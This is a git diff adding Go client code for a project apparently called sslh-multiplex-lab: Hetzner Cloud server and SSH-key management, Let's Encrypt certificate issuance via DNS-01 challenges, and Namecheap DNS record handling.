hetznerAPIBaseURL = "https://api.hetzner.cloud/v1"
|
||||
)
|
||||
|
||||
type Client struct {
|
||||
apiKey string
|
||||
resty *resty.Client
|
||||
}
|
||||
|
||||
type Server struct {
|
||||
ID int `json:"id"`
|
||||
Name string `json:"name"`
|
||||
Status string `json:"status"`
|
||||
PublicNet PublicNet `json:"public_net"`
|
||||
}
|
||||
|
||||
type PublicNet struct {
|
||||
IPv4 IPv4Info `json:"ipv4"`
|
||||
}
|
||||
|
||||
type IPv4Info struct {
|
||||
IP string `json:"ip"`
|
||||
}
|
||||
|
||||
type ServerResponse struct {
|
||||
Server Server `json:"server"`
|
||||
}
|
||||
|
||||
type ServersResponse struct {
|
||||
Servers []Server `json:"servers"`
|
||||
}
|
||||
|
||||
type CreateServerRequest struct {
|
||||
Name string `json:"name"`
|
||||
ServerType string `json:"server_type"`
|
||||
Image string `json:"image"`
|
||||
Location string `json:"location,omitempty"`
|
||||
SSHKeys []int `json:"ssh_keys,omitempty"`
|
||||
UserData string `json:"user_data,omitempty"`
|
||||
Networks []int `json:"networks,omitempty"`
|
||||
Labels map[string]string `json:"labels,omitempty"`
|
||||
}
|
||||
|
||||
func NewClient(apiKey string) *Client {
|
||||
client := resty.New()
|
||||
client.SetBaseURL(hetznerAPIBaseURL)
|
||||
client.SetHeader("Authorization", fmt.Sprintf("Bearer %s", apiKey))
|
||||
client.SetTimeout(30 * time.Second)
|
||||
|
||||
return &Client{
|
||||
apiKey: apiKey,
|
||||
resty: client,
|
||||
}
|
||||
}
|
||||
|
||||
func (c *Client) CreateServer(req CreateServerRequest) (*Server, error) {
|
||||
var resp ServerResponse
|
||||
|
||||
httpResp, err := c.resty.R().
|
||||
SetBody(req).
|
||||
SetResult(&resp).
|
||||
Post("/servers")
|
||||
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("failed to create server: %w", err)
|
||||
}
|
||||
|
||||
if httpResp.IsError() {
|
||||
return nil, fmt.Errorf("API error: %s - %s", httpResp.Status(), string(httpResp.Body()))
|
||||
}
|
||||
|
||||
return &resp.Server, nil
|
||||
}
|
||||
|
||||
func (c *Client) GetServer(serverID int) (*Server, error) {
|
||||
var resp ServerResponse
|
||||
|
||||
httpResp, err := c.resty.R().
|
||||
SetResult(&resp).
|
||||
Get(fmt.Sprintf("/servers/%d", serverID))
|
||||
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("failed to get server: %w", err)
|
||||
}
|
||||
|
||||
if httpResp.IsError() {
|
||||
return nil, fmt.Errorf("API error: %s - %s", httpResp.Status(), string(httpResp.Body()))
|
||||
}
|
||||
|
||||
return &resp.Server, nil
|
||||
}
|
||||
|
||||
func (c *Client) DeleteServer(serverID int) error {
|
||||
httpResp, err := c.resty.R().
|
||||
Delete(fmt.Sprintf("/servers/%d", serverID))
|
||||
|
||||
if err != nil {
|
||||
return fmt.Errorf("failed to delete server: %w", err)
|
||||
}
|
||||
|
||||
if httpResp.IsError() {
|
||||
return fmt.Errorf("API error: %s - %s", httpResp.Status(), string(httpResp.Body()))
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func (c *Client) WaitForServerReady(serverID int, timeout time.Duration) error {
|
||||
deadline := time.Now().Add(timeout)
|
||||
ticker := time.NewTicker(5 * time.Second)
|
||||
defer ticker.Stop()
|
||||
|
||||
for {
|
||||
select {
|
||||
case <-ticker.C:
|
||||
server, err := c.GetServer(serverID)
|
||||
if err != nil {
|
||||
return fmt.Errorf("failed to check server status: %w", err)
|
||||
}
|
||||
|
||||
if server.Status == "running" {
|
||||
return nil
|
||||
}
|
||||
|
||||
if time.Now().After(deadline) {
|
||||
return fmt.Errorf("timeout waiting for server to be ready (current status: %s)", server.Status)
|
||||
}
|
||||
case <-time.After(timeout):
|
||||
return fmt.Errorf("timeout waiting for server to be ready")
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (c *Client) GetServerIP(serverID int) (string, error) {
|
||||
server, err := c.GetServer(serverID)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
|
||||
if server.PublicNet.IPv4.IP == "" {
|
||||
return "", fmt.Errorf("server has no public IP address")
|
||||
}
|
||||
|
||||
return server.PublicNet.IPv4.IP, nil
|
||||
}
|
||||
|
||||
func (c *Client) ListServers() ([]Server, error) {
|
||||
var resp ServersResponse
|
||||
|
||||
httpResp, err := c.resty.R().
|
||||
SetResult(&resp).
|
||||
Get("/servers")
|
||||
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("failed to list servers: %w", err)
|
||||
}
|
||||
|
||||
if httpResp.IsError() {
|
||||
return nil, fmt.Errorf("API error: %s - %s", httpResp.Status(), string(httpResp.Body()))
|
||||
}
|
||||
|
||||
return resp.Servers, nil
|
||||
}
|
||||
76
internal/providers/hetzner/server.go
Normal file
76
internal/providers/hetzner/server.go
Normal file
@@ -0,0 +1,76 @@
|
||||
package hetzner
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"time"
|
||||
)
|
||||
|
||||
type ServerInfo struct {
|
||||
ID int
|
||||
Name string
|
||||
Status string
|
||||
PublicIP string
|
||||
Region string
|
||||
Type string
|
||||
}
|
||||
|
||||
func (c *Client) CreateServerWithConfig(name, serverType, location, image, userData string, sshKeyIDs []int) (*ServerInfo, error) {
|
||||
if location == "" {
|
||||
return nil, fmt.Errorf("location is required")
|
||||
}
|
||||
|
||||
validLocations := map[string]bool{
|
||||
"fsn1": true, // Falkenstein, Germany
|
||||
"nbg1": true, // Nuremberg, Germany
|
||||
"hel1": true, // Helsinki, Finland
|
||||
"ash": true, // Ashburn, Virginia
|
||||
"hil": true, // Hillsboro, Oregon
|
||||
"sin": true, // Singapore
|
||||
}
|
||||
|
||||
if !validLocations[location] {
|
||||
return nil, fmt.Errorf("invalid location: %s (valid locations: fsn1, nbg1, hel1, ash, hil, sin)", location)
|
||||
}
|
||||
|
||||
req := CreateServerRequest{
|
||||
Name: name,
|
||||
ServerType: serverType,
|
||||
Image: image,
|
||||
Location: location,
|
||||
UserData: userData,
|
||||
SSHKeys: sshKeyIDs,
|
||||
Labels: map[string]string{
|
||||
"managed-by": "sslh-lab",
|
||||
"created-at": time.Now().Format("2006-01-02T15-04-05"),
|
||||
},
|
||||
}
|
||||
|
||||
server, err := c.CreateServer(req)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("failed to create server: %w", err)
|
||||
}
|
||||
|
||||
serverInfo := &ServerInfo{
|
||||
ID: server.ID,
|
||||
Name: server.Name,
|
||||
Status: server.Status,
|
||||
Region: location,
|
||||
Type: serverType,
|
||||
}
|
||||
|
||||
if server.PublicNet.IPv4.IP != "" {
|
||||
serverInfo.PublicIP = server.PublicNet.IPv4.IP
|
||||
} else {
|
||||
if err := c.WaitForServerReady(server.ID, 10*time.Minute); err != nil {
|
||||
return nil, fmt.Errorf("server created but failed to become ready: %w", err)
|
||||
}
|
||||
|
||||
ip, err := c.GetServerIP(server.ID)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("failed to get server IP: %w", err)
|
||||
}
|
||||
serverInfo.PublicIP = ip
|
||||
}
|
||||
|
||||
return serverInfo, nil
|
||||
}
|
||||
107
internal/providers/hetzner/ssh_keys.go
Normal file
107
internal/providers/hetzner/ssh_keys.go
Normal file
@@ -0,0 +1,107 @@
|
||||
package hetzner
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
)
|
||||
|
||||
type SSHKey struct {
|
||||
ID int `json:"id"`
|
||||
Name string `json:"name"`
|
||||
Fingerprint string `json:"fingerprint"`
|
||||
PublicKey string `json:"public_key"`
|
||||
Labels map[string]string `json:"labels,omitempty"`
|
||||
}
|
||||
|
||||
type SSHKeyResponse struct {
|
||||
SSHKey SSHKey `json:"ssh_key"`
|
||||
}
|
||||
|
||||
type SSHKeysResponse struct {
|
||||
SSHKeys []SSHKey `json:"ssh_keys"`
|
||||
}
|
||||
|
||||
type CreateSSHKeyRequest struct {
|
||||
Name string `json:"name"`
|
||||
PublicKey string `json:"public_key"`
|
||||
Labels map[string]string `json:"labels,omitempty"`
|
||||
}
|
||||
|
||||
func (c *Client) CreateSSHKey(name, publicKey string) (*SSHKey, error) {
|
||||
req := CreateSSHKeyRequest{
|
||||
Name: name,
|
||||
PublicKey: publicKey,
|
||||
Labels: map[string]string{
|
||||
"managed-by": "sslh-lab",
|
||||
},
|
||||
}
|
||||
|
||||
var resp SSHKeyResponse
|
||||
|
||||
httpResp, err := c.resty.R().
|
||||
SetBody(req).
|
||||
SetResult(&resp).
|
||||
Post("/ssh_keys")
|
||||
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("failed to create SSH key: %w", err)
|
||||
}
|
||||
|
||||
if httpResp.IsError() {
|
||||
return nil, fmt.Errorf("API error: %s - %s", httpResp.Status(), string(httpResp.Body()))
|
||||
}
|
||||
|
||||
return &resp.SSHKey, nil
|
||||
}
|
||||
|
||||
func (c *Client) GetSSHKeyByName(name string) (*SSHKey, error) {
|
||||
var resp SSHKeysResponse
|
||||
|
||||
httpResp, err := c.resty.R().
|
||||
SetResult(&resp).
|
||||
Get("/ssh_keys")
|
||||
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("failed to list SSH keys: %w", err)
|
||||
}
|
||||
|
||||
if httpResp.IsError() {
|
||||
return nil, fmt.Errorf("API error: %s - %s", httpResp.Status(), string(httpResp.Body()))
|
||||
}
|
||||
|
||||
for _, key := range resp.SSHKeys {
|
||||
if key.Name == name {
|
||||
return &key, nil
|
||||
}
|
||||
}
|
||||
|
||||
return nil, fmt.Errorf("SSH key with name '%s' not found", name)
|
||||
}
|
||||
|
||||
func (c *Client) GetOrCreateSSHKey(name, publicKey string) (int, error) {
|
||||
existingKey, err := c.GetSSHKeyByName(name)
|
||||
if err == nil {
|
||||
return existingKey.ID, nil
|
||||
}
|
||||
|
||||
newKey, err := c.CreateSSHKey(name, publicKey)
|
||||
if err != nil {
|
||||
return 0, fmt.Errorf("failed to create SSH key: %w", err)
|
||||
}
|
||||
|
||||
return newKey.ID, nil
|
||||
}
|
||||
|
||||
func (c *Client) DeleteSSHKey(keyID int) error {
|
||||
httpResp, err := c.resty.R().
|
||||
Delete(fmt.Sprintf("/ssh_keys/%d", keyID))
|
||||
|
||||
if err != nil {
|
||||
return fmt.Errorf("failed to delete SSH key: %w", err)
|
||||
}
|
||||
|
||||
if httpResp.IsError() {
|
||||
return fmt.Errorf("API error: %s - %s", httpResp.Status(), string(httpResp.Body()))
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
216
internal/providers/letsencrypt/client.go
Normal file
216
internal/providers/letsencrypt/client.go
Normal file
@@ -0,0 +1,216 @@
|
||||
package letsencrypt
|
||||
|
||||
import (
|
||||
"crypto"
|
||||
"crypto/rand"
|
||||
"crypto/rsa"
|
||||
"crypto/x509"
|
||||
"encoding/json"
|
||||
"encoding/pem"
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"time"
|
||||
|
||||
"github.com/go-acme/lego/v4/certificate"
|
||||
"github.com/go-acme/lego/v4/certcrypto"
|
||||
"github.com/go-acme/lego/v4/lego"
|
||||
"github.com/go-acme/lego/v4/registration"
|
||||
)
|
||||
|
||||
type Client struct {
|
||||
user *User
|
||||
client *lego.Client
|
||||
certDir string
|
||||
email string
|
||||
dnsProvider DNSProvider
|
||||
}
|
||||
|
||||
type User struct {
|
||||
Email string
|
||||
Registration *registration.Resource
|
||||
key crypto.PrivateKey
|
||||
}
|
||||
|
||||
func (u *User) GetEmail() string {
|
||||
return u.Email
|
||||
}
|
||||
|
||||
func (u *User) GetRegistration() *registration.Resource {
|
||||
return u.Registration
|
||||
}
|
||||
|
||||
func (u *User) GetPrivateKey() crypto.PrivateKey {
|
||||
return u.key
|
||||
}
|
||||
|
||||
type DNSProvider interface {
|
||||
Present(domain, token, keyAuth string) error
|
||||
CleanUp(domain, token, keyAuth string) error
|
||||
}
|
||||
|
||||
type CertificateInfo struct {
|
||||
CertificatePath string
|
||||
PrivateKeyPath string
|
||||
FullChainPath string
|
||||
Domain string
|
||||
ExpiresAt time.Time
|
||||
}
|
||||
|
||||
func NewClient(email, certDir string, dnsProvider DNSProvider) (*Client, error) {
|
||||
if err := os.MkdirAll(certDir, 0700); err != nil {
|
||||
return nil, fmt.Errorf("failed to create cert directory: %w", err)
|
||||
}
|
||||
|
||||
privateKey, err := rsa.GenerateKey(rand.Reader, 2048)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("failed to generate private key: %w", err)
|
||||
}
|
||||
|
||||
user := &User{
|
||||
Email: email,
|
||||
key: privateKey,
|
||||
}
|
||||
|
||||
config := lego.NewConfig(user)
|
||||
config.CADirURL = lego.LEDirectoryProduction
|
||||
config.Certificate.KeyType = certcrypto.RSA2048
|
||||
config.HTTPClient.Timeout = 30 * time.Second
|
||||
|
||||
client, err := lego.NewClient(config)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("failed to create lego client: %w", err)
|
||||
}
|
||||
|
||||
provider := &namecheapDNSProvider{dnsProvider: dnsProvider}
|
||||
client.Challenge.SetDNS01Provider(provider)
|
||||
|
||||
accountPath := filepath.Join(certDir, "account.json")
|
||||
var reg *registration.Resource
|
||||
if _, err := os.Stat(accountPath); err == nil {
|
||||
accountData, err := os.ReadFile(accountPath)
|
||||
if err == nil {
|
||||
if err := json.Unmarshal(accountData, ®); err == nil && reg != nil {
|
||||
user.Registration = reg
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if user.Registration == nil {
|
||||
reg, err := client.Registration.Register(registration.RegisterOptions{TermsOfServiceAgreed: true})
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("failed to register with Let's Encrypt: %w", err)
|
||||
}
|
||||
user.Registration = reg
|
||||
|
||||
accountData, _ := json.Marshal(reg)
|
||||
os.WriteFile(accountPath, accountData, 0600)
|
||||
}
|
||||
|
||||
return &Client{
|
||||
user: user,
|
||||
client: client,
|
||||
certDir: certDir,
|
||||
email: email,
|
||||
dnsProvider: dnsProvider,
|
||||
}, nil
|
||||
}
|
||||
|
||||
type namecheapDNSProvider struct {
|
||||
dnsProvider DNSProvider
|
||||
}
|
||||
|
||||
func (p *namecheapDNSProvider) Present(domain, token, keyAuth string) error {
|
||||
return p.dnsProvider.Present(domain, token, keyAuth)
|
||||
}
|
||||
|
||||
func (p *namecheapDNSProvider) CleanUp(domain, token, keyAuth string) error {
|
||||
return p.dnsProvider.CleanUp(domain, token, keyAuth)
|
||||
}
|
||||
|
||||
func (c *Client) ObtainCertificate(domain string, sanDomains []string) (*CertificateInfo, error) {
|
||||
domains := append([]string{domain}, sanDomains...)
|
||||
|
||||
request := certificate.ObtainRequest{
|
||||
Domains: domains,
|
||||
Bundle: true,
|
||||
}
|
||||
|
||||
certificates, err := c.client.Certificate.Obtain(request)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("failed to obtain certificate: %w", err)
|
||||
}
|
||||
|
||||
certPath := filepath.Join(c.certDir, fmt.Sprintf("%s.crt", domain))
|
||||
keyPath := filepath.Join(c.certDir, fmt.Sprintf("%s.key", domain))
|
||||
fullChainPath := filepath.Join(c.certDir, fmt.Sprintf("%s-fullchain.crt", domain))
|
||||
|
||||
if err := os.WriteFile(certPath, certificates.Certificate, 0644); err != nil {
|
||||
return nil, fmt.Errorf("failed to write certificate: %w", err)
|
||||
}
|
||||
|
||||
if err := os.WriteFile(keyPath, certificates.PrivateKey, 0600); err != nil {
|
||||
return nil, fmt.Errorf("failed to write private key: %w", err)
|
||||
}
|
||||
|
||||
fullChain := append(certificates.Certificate, certificates.IssuerCertificate...)
|
||||
if err := os.WriteFile(fullChainPath, fullChain, 0644); err != nil {
|
||||
return nil, fmt.Errorf("failed to write full chain: %w", err)
|
||||
}
|
||||
|
||||
block, _ := pem.Decode(certificates.Certificate)
|
||||
if block == nil {
|
||||
return nil, fmt.Errorf("failed to decode certificate")
|
||||
}
|
||||
|
||||
cert, err := x509.ParseCertificate(block.Bytes)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("failed to parse certificate: %w", err)
|
||||
}
|
||||
|
||||
return &CertificateInfo{
|
||||
CertificatePath: certPath,
|
||||
PrivateKeyPath: keyPath,
|
||||
FullChainPath: fullChainPath,
|
||||
Domain: domain,
|
||||
ExpiresAt: cert.NotAfter,
|
||||
}, nil
|
||||
}
|
||||
|
||||
func (c *Client) RevokeCertificate(certPath string) error {
|
||||
certBytes, err := os.ReadFile(certPath)
|
||||
if err != nil {
|
||||
return fmt.Errorf("failed to read certificate: %w", err)
|
||||
}
|
||||
|
||||
reason := uint(4)
|
||||
return c.client.Certificate.RevokeWithReason(certBytes, &reason)
|
||||
}
|
||||
|
||||
func GetCertificateInfo(certPath string) (*CertificateInfo, error) {
|
||||
certBytes, err := os.ReadFile(certPath)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("failed to read certificate: %w", err)
|
||||
}
|
||||
|
||||
block, _ := pem.Decode(certBytes)
|
||||
if block == nil {
|
||||
return nil, fmt.Errorf("failed to decode certificate")
|
||||
}
|
||||
|
||||
cert, err := x509.ParseCertificate(block.Bytes)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("failed to parse certificate: %w", err)
|
||||
}
|
||||
|
||||
keyPath := certPath[:len(certPath)-4] + ".key"
|
||||
fullChainPath := certPath[:len(certPath)-4] + "-fullchain.crt"
|
||||
|
||||
return &CertificateInfo{
|
||||
CertificatePath: certPath,
|
||||
PrivateKeyPath: keyPath,
|
||||
FullChainPath: fullChainPath,
|
||||
Domain: cert.Subject.CommonName,
|
||||
ExpiresAt: cert.NotAfter,
|
||||
}, nil
|
||||
}
|
||||
94
internal/providers/letsencrypt/namecheap_dns.go
Normal file
94
internal/providers/letsencrypt/namecheap_dns.go
Normal file
@@ -0,0 +1,94 @@
|
||||
package letsencrypt
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"time"
|
||||
|
||||
"github.com/go-acme/lego/v4/challenge/dns01"
|
||||
"sslh-multiplex-lab/internal/providers/namecheap"
|
||||
)
|
||||
|
||||
type NamecheapDNSProvider struct {
|
||||
namecheapClient *namecheap.Client
|
||||
domain string
|
||||
txtRecords map[string]string
|
||||
}
|
||||
|
||||
func NewNamecheapDNSProvider(namecheapClient *namecheap.Client, domain string) *NamecheapDNSProvider {
|
||||
return &NamecheapDNSProvider{
|
||||
namecheapClient: namecheapClient,
|
||||
domain: domain,
|
||||
txtRecords: make(map[string]string),
|
||||
}
|
||||
}
|
||||
|
||||
func (p *NamecheapDNSProvider) Present(domain, token, keyAuth string) error {
|
||||
fqdn, value := dns01.GetRecord(domain, keyAuth)
|
||||
|
||||
subdomain := extractSubdomain(fqdn, p.domain)
|
||||
if subdomain == "" {
|
||||
return fmt.Errorf("failed to extract subdomain from %s for domain %s", fqdn, p.domain)
|
||||
}
|
||||
|
||||
p.txtRecords[subdomain] = value
|
||||
|
||||
_, err := p.namecheapClient.CreateOrUpdateDNSRecord(p.domain, subdomain, "TXT", value, 300)
|
||||
if err != nil {
|
||||
return fmt.Errorf("failed to create TXT record for %s: %w", subdomain, err)
|
||||
}
|
||||
|
||||
time.Sleep(10 * time.Second)
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func (p *NamecheapDNSProvider) CleanUp(domain, token, keyAuth string) error {
|
||||
fqdn, _ := dns01.GetRecord(domain, keyAuth)
|
||||
|
||||
subdomain := extractSubdomain(fqdn, p.domain)
|
||||
if subdomain == "" {
|
||||
return nil
|
||||
}
|
||||
|
||||
records, err := p.namecheapClient.ListDNSRecords(p.domain)
|
||||
if err != nil {
|
||||
return fmt.Errorf("failed to list DNS records: %w", err)
|
||||
}
|
||||
|
||||
for _, record := range records {
|
||||
if record.Name == subdomain && record.Type == "TXT" {
|
||||
if err := p.namecheapClient.DeleteDNSRecord(p.domain, record.ID); err != nil {
|
||||
return fmt.Errorf("failed to delete TXT record for %s: %w", subdomain, err)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
delete(p.txtRecords, subdomain)
|
||||
return nil
|
||||
}
|
||||
|
||||
func extractSubdomain(fqdn, domain string) string {
|
||||
if len(fqdn) <= len(domain) {
|
||||
return ""
|
||||
}
|
||||
|
||||
suffix := "." + domain
|
||||
if !endsWith(fqdn, suffix) {
|
||||
return ""
|
||||
}
|
||||
|
||||
subdomain := fqdn[:len(fqdn)-len(suffix)]
|
||||
if subdomain == "_acme-challenge" {
|
||||
return "_acme-challenge"
|
||||
}
|
||||
|
||||
if len(subdomain) > len("_acme-challenge.") && subdomain[:len("_acme-challenge.")] == "_acme-challenge." {
|
||||
return subdomain
|
||||
}
|
||||
|
||||
return ""
|
||||
}
|
||||
|
||||
func endsWith(s, suffix string) bool {
|
||||
return len(s) >= len(suffix) && s[len(s)-len(suffix):] == suffix
|
||||
}
|
||||
567
internal/providers/namecheap/client.go
Normal file
567
internal/providers/namecheap/client.go
Normal file
@@ -0,0 +1,567 @@
|
||||
package namecheap
|
||||
|
||||
import (
|
||||
"encoding/xml"
|
||||
"fmt"
|
||||
"net/url"
|
||||
"strconv"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/go-resty/resty/v2"
|
||||
)
|
||||
|
||||
const (
|
||||
namecheapAPIBaseURL = "https://api.namecheap.com/xml.response"
|
||||
)
|
||||
|
||||
type Client struct {
|
||||
apiKey string
|
||||
apiUser string
|
||||
clientIP string
|
||||
resty *resty.Client
|
||||
}
|
||||
|
||||
type Domain struct {
|
||||
Name string
|
||||
Nameservers []string
|
||||
IsUsingNamecheapDNS bool
|
||||
}
|
||||
|
||||
type DNSRecord struct {
|
||||
ID string
|
||||
Type string
|
||||
Name string
|
||||
Address string
|
||||
TTL int
|
||||
MXPref int
|
||||
}
|
||||
|
||||
type DomainListResponse struct {
|
||||
Domains []Domain
|
||||
}
|
||||
|
||||
type DNSHostListResponse struct {
|
||||
Records []DNSRecord
|
||||
}
|
||||
|
||||
func NewClient(apiKey, apiUser, clientIP string) *Client {
|
||||
client := resty.New()
|
||||
client.SetBaseURL(namecheapAPIBaseURL)
|
||||
client.SetTimeout(30 * time.Second)
|
||||
|
||||
return &Client{
|
||||
apiKey: apiKey,
|
||||
apiUser: apiUser,
|
||||
clientIP: clientIP,
|
||||
resty: client,
|
||||
}
|
||||
}
|
||||
|
||||
func (c *Client) buildQueryParams(command string, params map[string]string) url.Values {
|
||||
query := url.Values{}
|
||||
query.Set("ApiUser", c.apiUser)
|
||||
query.Set("ApiKey", c.apiKey)
|
||||
query.Set("UserName", c.apiUser)
|
||||
query.Set("ClientIp", c.clientIP)
|
||||
query.Set("Command", command)
|
||||
|
||||
for k, v := range params {
|
||||
query.Set(k, v)
|
||||
}
|
||||
|
||||
return query
|
||||
}
|
||||
|
||||
func (c *Client) ListDomains() ([]Domain, error) {
|
||||
query := c.buildQueryParams("namecheap.domains.getList", map[string]string{})
|
||||
|
||||
resp, err := c.resty.R().
|
||||
SetQueryParamsFromValues(query).
|
||||
Get("")
|
||||
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("failed to list domains: %w", err)
|
||||
}
|
||||
|
||||
if resp.IsError() {
|
||||
return nil, fmt.Errorf("API error: %s - %s", resp.Status(), string(resp.Body()))
|
||||
}
|
||||
|
||||
var domains []Domain
|
||||
if err := parseDomainListResponse(resp.Body(), &domains); err != nil {
|
||||
return nil, fmt.Errorf("failed to parse response: %w", err)
|
||||
}
|
||||
|
||||
return domains, nil
|
||||
}
|
||||
|
||||
func (c *Client) ListDNSRecords(domain string) ([]DNSRecord, error) {
|
||||
query := c.buildQueryParams("namecheap.domains.dns.getHosts", map[string]string{
|
||||
"SLD": extractSLD(domain),
|
||||
"TLD": extractTLD(domain),
|
||||
})
|
||||
|
||||
resp, err := c.resty.R().
|
||||
SetQueryParamsFromValues(query).
|
||||
Get("")
|
||||
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("failed to list DNS records: %w", err)
|
||||
}
|
||||
|
||||
if resp.IsError() {
|
||||
bodyStr := string(resp.Body())
|
||||
if strings.Contains(bodyStr, "2030288") || strings.Contains(bodyStr, "not using proper DNS servers") {
|
||||
return nil, fmt.Errorf("domain %s is not using Namecheap DNS servers. The domain must use Namecheap's BasicDNS, PremiumDNS, or FreeDNS nameservers to manage DNS records via API. Please change the nameservers in your Namecheap account (Domain List > Manage > Nameservers) to 'Namecheap BasicDNS' or 'Namecheap PremiumDNS'", domain)
|
||||
}
|
||||
return nil, fmt.Errorf("API error: %s - %s", resp.Status(), bodyStr)
|
||||
}
|
||||
|
||||
var records []DNSRecord
|
||||
if err := parseDNSHostListResponse(resp.Body(), &records); err != nil {
|
||||
return nil, fmt.Errorf("failed to parse response: %w", err)
|
||||
}
|
||||
|
||||
return records, nil
|
||||
}
|
||||
|
||||
func (c *Client) CreateOrUpdateDNSRecord(domain, subdomain, recordType, value string, ttl int) (created bool, err error) {
|
||||
sld := extractSLD(domain)
|
||||
tld := extractTLD(domain)
|
||||
|
||||
records, err := c.ListDNSRecords(domain)
|
||||
if err != nil {
|
||||
return false, fmt.Errorf("failed to get existing records: %w", err)
|
||||
}
|
||||
|
||||
recordExists := false
|
||||
var updatedRecords []DNSRecord
|
||||
for _, record := range records {
|
||||
if record.Name == subdomain && record.Type == recordType {
|
||||
recordExists = true
|
||||
updatedRecords = append(updatedRecords, DNSRecord{
|
||||
ID: record.ID,
|
||||
Type: recordType,
|
||||
Name: subdomain,
|
||||
Address: value,
|
||||
TTL: ttl,
|
||||
MXPref: record.MXPref,
|
||||
})
|
||||
} else {
|
||||
updatedRecords = append(updatedRecords, record)
|
||||
}
|
||||
}
|
||||
|
||||
if !recordExists {
|
||||
updatedRecords = append(updatedRecords, DNSRecord{
|
||||
ID: fmt.Sprintf("%d", len(records)+1),
|
||||
Type: recordType,
|
||||
Name: subdomain,
|
||||
Address: value,
|
||||
TTL: ttl,
|
||||
MXPref: 10,
|
||||
})
|
||||
}
|
||||
|
||||
query := c.buildQueryParams("namecheap.domains.dns.setHosts", map[string]string{
|
||||
"SLD": sld,
|
||||
"TLD": tld,
|
||||
})
|
||||
|
||||
for i, record := range updatedRecords {
|
||||
idx := i + 1
|
||||
query.Set(fmt.Sprintf("HostName%d", idx), record.Name)
|
||||
query.Set(fmt.Sprintf("RecordType%d", idx), record.Type)
|
||||
query.Set(fmt.Sprintf("Address%d", idx), record.Address)
|
||||
query.Set(fmt.Sprintf("TTL%d", idx), fmt.Sprintf("%d", record.TTL))
|
||||
if record.Type == "MX" {
|
||||
query.Set(fmt.Sprintf("MXPref%d", idx), fmt.Sprintf("%d", record.MXPref))
|
||||
}
|
||||
}
|
||||
|
||||
resp, err := c.resty.R().
|
||||
SetQueryParamsFromValues(query).
|
||||
Get("")
|
||||
|
||||
if err != nil {
|
||||
return false, fmt.Errorf("failed to set DNS record: %w", err)
|
||||
}
|
||||
|
||||
if resp.IsError() {
|
||||
return false, fmt.Errorf("API error: %s - %s", resp.Status(), string(resp.Body()))
|
||||
}
|
||||
|
||||
return !recordExists, nil
|
||||
}
|
||||
|
||||
func (c *Client) CreateDNSRecord(domain, subdomain, recordType, value string, ttl int) error {
|
||||
_, err := c.CreateOrUpdateDNSRecord(domain, subdomain, recordType, value, ttl)
|
||||
return err
|
||||
}
|
||||
|
||||
func (c *Client) DeleteDNSRecord(domain, recordID string) error {
|
||||
records, err := c.ListDNSRecords(domain)
|
||||
if err != nil {
|
||||
return fmt.Errorf("failed to get existing records: %w", err)
|
||||
}
|
||||
|
||||
var filtered []DNSRecord
|
||||
for _, record := range records {
|
||||
if record.ID != recordID {
|
||||
filtered = append(filtered, record)
|
||||
}
|
||||
}
|
||||
|
||||
sld := extractSLD(domain)
|
||||
tld := extractTLD(domain)
|
||||
|
||||
query := c.buildQueryParams("namecheap.domains.dns.setHosts", map[string]string{
|
||||
"SLD": sld,
|
||||
"TLD": tld,
|
||||
})
|
||||
|
||||
for i, record := range filtered {
|
||||
query.Set(fmt.Sprintf("HostName%d", i+1), record.Name)
|
||||
query.Set(fmt.Sprintf("RecordType%d", i+1), record.Type)
|
||||
query.Set(fmt.Sprintf("Address%d", i+1), record.Address)
|
||||
query.Set(fmt.Sprintf("TTL%d", i+1), fmt.Sprintf("%d", record.TTL))
|
||||
}
|
||||
|
||||
resp, err := c.resty.R().
|
||||
SetQueryParamsFromValues(query).
|
||||
Get("")
|
||||
|
||||
if err != nil {
|
||||
return fmt.Errorf("failed to delete DNS record: %w", err)
|
||||
}
|
||||
|
||||
if resp.IsError() {
|
||||
return fmt.Errorf("API error: %s - %s", resp.Status(), string(resp.Body()))
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func (c *Client) CheckExistingRecords(domain string) (bool, []DNSRecord, error) {
|
||||
records, err := c.ListDNSRecords(domain)
|
||||
if err != nil {
|
||||
return false, nil, err
|
||||
}
|
||||
|
||||
return len(records) > 0, records, nil
|
||||
}
|
||||
|
||||
func (c *Client) GetDomainInfo(domain string) (*Domain, error) {
|
||||
query := c.buildQueryParams("namecheap.domains.getInfo", map[string]string{
|
||||
"DomainName": domain,
|
||||
})
|
||||
|
||||
resp, err := c.resty.R().
|
||||
SetQueryParamsFromValues(query).
|
||||
Get("")
|
||||
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("failed to get domain info: %w", err)
|
||||
}
|
||||
|
||||
if resp.IsError() {
|
||||
return nil, fmt.Errorf("API error: %s - %s", resp.Status(), string(resp.Body()))
|
||||
}
|
||||
|
||||
var domainInfo Domain
|
||||
if err := parseDomainInfoResponse(resp.Body(), &domainInfo); err != nil {
|
||||
return nil, fmt.Errorf("failed to parse response: %w", err)
|
||||
}
|
||||
|
||||
return &domainInfo, nil
|
